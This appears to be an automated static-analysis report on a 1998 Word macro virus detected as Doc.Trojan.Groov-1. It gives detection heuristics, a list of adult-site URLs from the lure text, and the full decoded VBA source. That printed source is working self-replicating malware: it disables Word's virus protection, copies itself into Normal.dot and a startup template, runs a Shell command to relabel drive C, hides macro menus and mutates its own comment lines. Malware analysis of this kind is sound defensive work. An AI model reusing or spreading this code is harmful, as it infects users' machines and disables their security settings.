Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bd7069db2919b9cc…

MALICIOUS

Office (OLE)

75.0 KB Created: 1998-06-07 17:07:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: d4a48962838840e20e7fd2f2f1c957ba SHA-1: 5793b76f3dc23721213e168f4b65d32cdedb302f SHA-256: bd7069db2919b9cc6d8ba8135389a3f40607778fb6d597a566d36c876b5c36cf
358 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic and VBA macros, including AutoOpen and Auto_Close, which are indicative of older malware techniques. The critical heuristic firing for Shell() calls in VBA, combined with the ClamAV detection of 'Doc.Trojan.Groov-1', strongly suggests malicious intent. The document body and extracted URLs point to a lure for adult-themed member-only content, likely a phishing or scam operation. The VBA macro's use of Shell() implies it attempts to execute commands or download additional payloads.

Heuristics 9

  • ClamAV: Doc.Trojan.Groov-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Groov-1
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
            Shell ("label c: groovie"), 0
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Options.VirusProtection = False
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
            ActiveDocument.SaveAs FileName:=Application.StartupPath + "\data.dot", FileFormat:=wdFormatTemplate, AddToRecentFiles:=False, ReadOnlyRecommended:=False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.cyberclub.com/ignite/members In document text (OLE body)
    • http://hotbox.danni.com/hotbox/In document text (OLE body)
    • http://www.powerflow.com/members/135798642.htmlIn document text (OLE body)
    • http://www.allasians1.com/membersonly/gallery/In document text (OLE body)
    • http://www.breathlessbabes.com/protectedIn document text (OLE body)
    • http://www.caughtceleb.com/cmlogin.htmlIn document text (OLE body)
    • http://www.pornmountain.com/membersIn document text (OLE body)
    • http://www.sexillustrated.com/1stquarter/members2.htmIn document text (OLE body)
    • http://www.redlight.com/membersIn document text (OLE body)
    • http://www.freeamsterdamsex.com/membersIn document text (OLE body)
    • http://www.itouchmyself.com/members/index.htmlIn document text (OLE body)
    • http://www.dixiecam.com/members/In document text (OLE body)
    • http://www.itsreal.com/membersIn document text (OLE body)
    • http://www.111sexstreet.com/private/sex02.htmlIn document text (OLE body)
    • http://teenlabs.com/reactor/reactor1.htmIn document text (OLE body)
    • http://www.sweet18.com/home.htmlIn document text (OLE body)
    • http://members.campusbabes.com/In document text (OLE body)
    • http://www.sextv.com/members/index.htmlIn document text (OLE body)
    • http://www.smutheaven.com/m/members.htmlIn document text (OLE body)
    • http://www.creamythighs.com/members/In document text (OLE body)
    • http://www.celebrity-hardcore.com/members/index.htmlIn document text (OLE body)
    • http://www.dirtyonline.com/membersonly/In document text (OLE body)
    • http://www.sexpaige.com/members/mem_home.htmlIn document text (OLE body)
    • http://members.sexy-photos.comIn document text (OLE body)
    • http://www.cybersex.com/members/index.htmlIn document text (OLE body)
    • http://members2.5starerotica.com/index.htmlIn document text (OLE body)
    • http://www.virtualhardcore.com/pictures/index.htmlIn document text (OLE body)
    • http://www.sexxx-drive.com/members/index.htmlIn document text (OLE body)
    • http://www.sizzle.com/members/index.shtmlIn document text (OLE body)
    • http://www.lesbiansonly.com/members.htmIn document text (OLE body)
    • http://members.maturewomen.com/In document text (OLE body)
    • http://www.sexualeuphoria.com/members/archives/index.htmlIn document text (OLE body)
    • http://www.pureteens.com/membersIn document text (OLE body)
    • http://www.extremeadultsex.com/membersIn document text (OLE body)
    • http://www.sexroom.net/members/In document text (OLE body)
    • http://amazingonline.com/membersdox/In document text (OLE body)
    • http://www.venusonline.com/tricia/Members/index.htmIn document text (OLE body)
    • http://www.chickflicks.com/m/members.htmlIn document text (OLE body)
    • http://www.valuesex.com/valuesexmembers/main.htmlIn document text (OLE body)
    • http://www.xxxensation.com/cgi-sec/xxxloginIn document text (OLE body)
    • http://www.kingporno.com/authorized/In document text (OLE body)
    • http://www.erotic-express.com/member/eng/In document text (OLE body)
    • http://www.sexualeuphoria.com/members/index.htmlIn document text (OLE body)
    • http://members.celebs-n-models.net/babes/In document text (OLE body)
    • http://www.erosnet.com/home.htmlIn document text (OLE body)
    • http://www.manhole.com/members/index.htmlIn document text (OLE body)
    • http://www.cyberstrip.com/members/html/members.cfmIn document text (OLE body)
    • http://www.corinadine.com/members/index.htmlIn document text (OLE body)
    • http://www.Shockingpink.com/members/tina1.htmlIn document text (OLE body)
    • http://www.adultpleasures.com/members/In document text (OLE body)
    +21 more URL(s)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16022 bytes
SHA-256: bfb822e68e6e50f6527fa83303c3701c2faf544ada69a9cd13f79a67e052c964
Detection
ClamAV: Doc.Trojan.Groov-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "groovie"
Public I01 As String
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
Public I02 As Boolean
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
Public I03 As Boolean
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
Public I04 As Boolean
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
Public I05 As Boolean
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
Public I06 As String
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
Public I07 As Boolean
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
Public I08 As Boolean
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
Function I09()
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
On Error Resume Next
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
    If MacroContainer = NormalTemplate Then
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
        I01 = "normal"
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
        GoTo checkout
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
    End If
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
    If MacroContainer = ActiveDocument Then I01 = "document"
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
    If MacroContainer = "data.dot" Then I01 = "orbit"
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
checkout:
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
End Function
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
Function I10()
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
On Error Resume Next
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
    If Dir(Application.StartupPath + "\data.dot") = "data.dot" Then I02 = True
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
    For I = 1 To ActiveDocument.VBProject.VBComponents.Count
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
        If ActiveDocument.VBProject.VBComponents(I).Name = "groovie" Then I04 = True
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
    Next I
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
    For I = 1 To NormalTemplate.VBProject.VBComponents.Count
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
        If NormalTemplate.VBProject.VBComponents(I).Name = "groovie" Then I03 = True
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
    Next I
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
    If GetAttr(NormalTemplate.FullName) = vbArchive + vbReadOnly Or GetAttr(NormalTemplate.FullName) = vbReadOnly Then I05 = True
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
End Function
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
Function I11()
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
On Error Resume Next
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
Call I09
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
Call I10
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
    If I01 = "document" Then Call I12
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
    If I01 = "normal" Then Call I13
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
    If I01 = "orbit" Then Call I14
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
    If I05 = False Then CommandBars("tools").Controls("Macro").Delete
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
    If I05 = False Then CommandBars("tools").Controls("Templates and add-ins...").Delete
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
End Function
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
Function I12()
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
On Error Resume Next
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
    Application.VBE.ActiveVBProject.VBComponents("groovie").Export "c:\groovie.sys"
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
    If I03 = False And I05 = False Then
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
        With NormalTemplate.VBProject
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
        With .VBComponents.Import("c:\groovie.sys")
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
        End With
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
        End With
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
    End If
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
    If I02 = False Then
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
        ActiveDocument.SaveAs FileName:=Application.StartupPath + "\data.dot", FileFormat:=wdFormatTemplate, AddToRecentFiles:=False, ReadOnlyRecommended:=False
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
        Application.OrganizerRename Source:=Application.StartupPath + "\data.dot", Name:="groovie", NewName:="orbit", Object:=wdOrganizerObjectProjectItems
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
        If ActiveDocument.Saved = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
        If I08 = False Then Documents.Open FileName:=I06
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
        Shell ("label c: groovie"), 0
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
        Windows(1).Close
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
    End If
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
End Function
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
Function I13()
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
On Error Resume Next
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
Application.ScreenUpdating = False
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
    Call I17
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
    If I04 = False And I07 = True Then
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
        With ActiveDocument.VBProject
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
        With .VBComponents.Import("c:\groovie.sys")
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
        End With
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
        End With
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
        With Dialogs(wdDialogFileSummaryInfo)
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
            .Comments = "ALT-F11 says it's groovie!"
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
            .Execute
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
        End With
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
    End If
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
    If I02 = False And I07 = True Then
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
        ActiveDocument.SaveAs FileName:=Application.StartupPath + "\data.dot", FileFormat:=wdFormatTemplate, AddToRecentFiles:=False, ReadOnlyRecommended:=False
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
        Application.OrganizerRename Source:=Application.StartupPath + "\data.dot", Name:="groovie", NewName:="orbit", Object:=wdOrganizerObjectProjectItems
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
        If I08 = False Then Documents.Open FileName:=I06
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
        Windows(1).Close SaveChanges:=wdSaveChanges
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
    End If
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
    If I02 = False And I07 = False Then
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
        Documents.Add Template:="", NewTemplate:=False
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
        ActiveDocument.SaveAs FileName:=Application.StartupPath + "\data.dot", FileFormat:=wdFormatTemplate, AddToRecentFiles:=False, ReadOnlyRecommended:=False
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
        Application.OrganizerRename Source:=Application.StartupPath + "\data.dot", Name:="groovie", NewName:="orbit", Object:=wdOrganizerObjectProjectItems
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
        If ActiveDocument.Saved = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
        Windows(1).Close SaveChanges:=wdSaveChanges
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
    End If
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
Application.ScreenUpdating = True
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
End Function
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
Function I14()
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
On Error Resume Next
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
Application.ScreenUpdating = False
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
        If I03 = False And I05 = False Then
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
            With NormalTemplate.VBProject
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
            With .VBComponents.Import("c:\groovie.sys")
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
            End With
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
            End With
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
            NormalTemplate.Save
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
        End If
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
        If I04 = False Then
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
            With ActiveDocument.VBProject
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
            With .VBComponents.Import("c:\groovie.sys")
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
            End With
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
            End With
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
            With Dialogs(wdDialogFileSummaryInfo)
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
                .Comments = "ALT-F11 says it's groovie!"
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
                .Execute
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
            End With
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
        End If
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
Application.ScreenUpdating = True
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
End Function
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
Function I15()
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
On Error Resume Next
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
    Options.VirusProtection = False
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
    Options.SaveNormalPrompt = False
 ' OK6/7/98 1:07:21 PM422Me422HP LaserJet 4 on LPT1:
    Options.ConfirmConversions = False
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
    I06 = ActiveDocument.FullName
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
    Call I11
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
End Function
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
Sub AutoOpen()
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
On Error Resume Next
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
Call I15
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
End Sub
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
Sub AutoClose()
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
On Error Resume Next
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
I08 = True
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
Call I15
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
End Sub
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
Sub AutoExit()
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
On Error Resume Next
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
Call I15
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
End Sub
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
Sub FileSaveAs()
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
On Error Resume Next
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
Call I16
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
Call I15
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
Dialogs(wdDialogFileSaveAs).Show
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
End Sub
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
Sub filesave()
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
On Error Resume Next
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
Call I16
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
Call I15
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
End Sub
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
Sub fileclose()
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
On Error Resume Next
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
I08 = True
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
Call I15
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
ActiveDocument.Close
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
End Sub
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
Sub fileprint()
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
On Error Resume Next
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
Call I15
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
Dialogs(wdDialogFilePrint).Show
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
End Sub
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
Sub viewvbcode()
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
MsgBox "It's GROOVIE", vbOKOnly, "•  ALT-F11  • says..."
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
End Sub
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
Sub ToolsMacro()
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
End Sub
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
Sub FileTemplates()
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
End Sub
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
Function I17()
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
On Error GoTo docek
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
    If ActiveDocument.Name <> "" Then
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
        I07 = True
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
    End If
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
    GoTo over
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
docek:
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
    I07 = False
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
over:
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
End Function
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
Function I16()
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
Randomize
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
rn = Int(Rnd * 999)
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
With Application.VBE.ActiveVBProject.VBComponents("Groovie").CodeModule
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
For x = 2 To 358 Step 2
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
.DeleteLines x
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
.InsertLines x, " ' " & Application.UserInitials & Now & rn & Application.UserName & rn & Application.ActivePrinter
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
Next x
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
End With
 ' OK6/7/98 1:07:22 PM422Me422HP LaserJet 4 on LPT1:
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.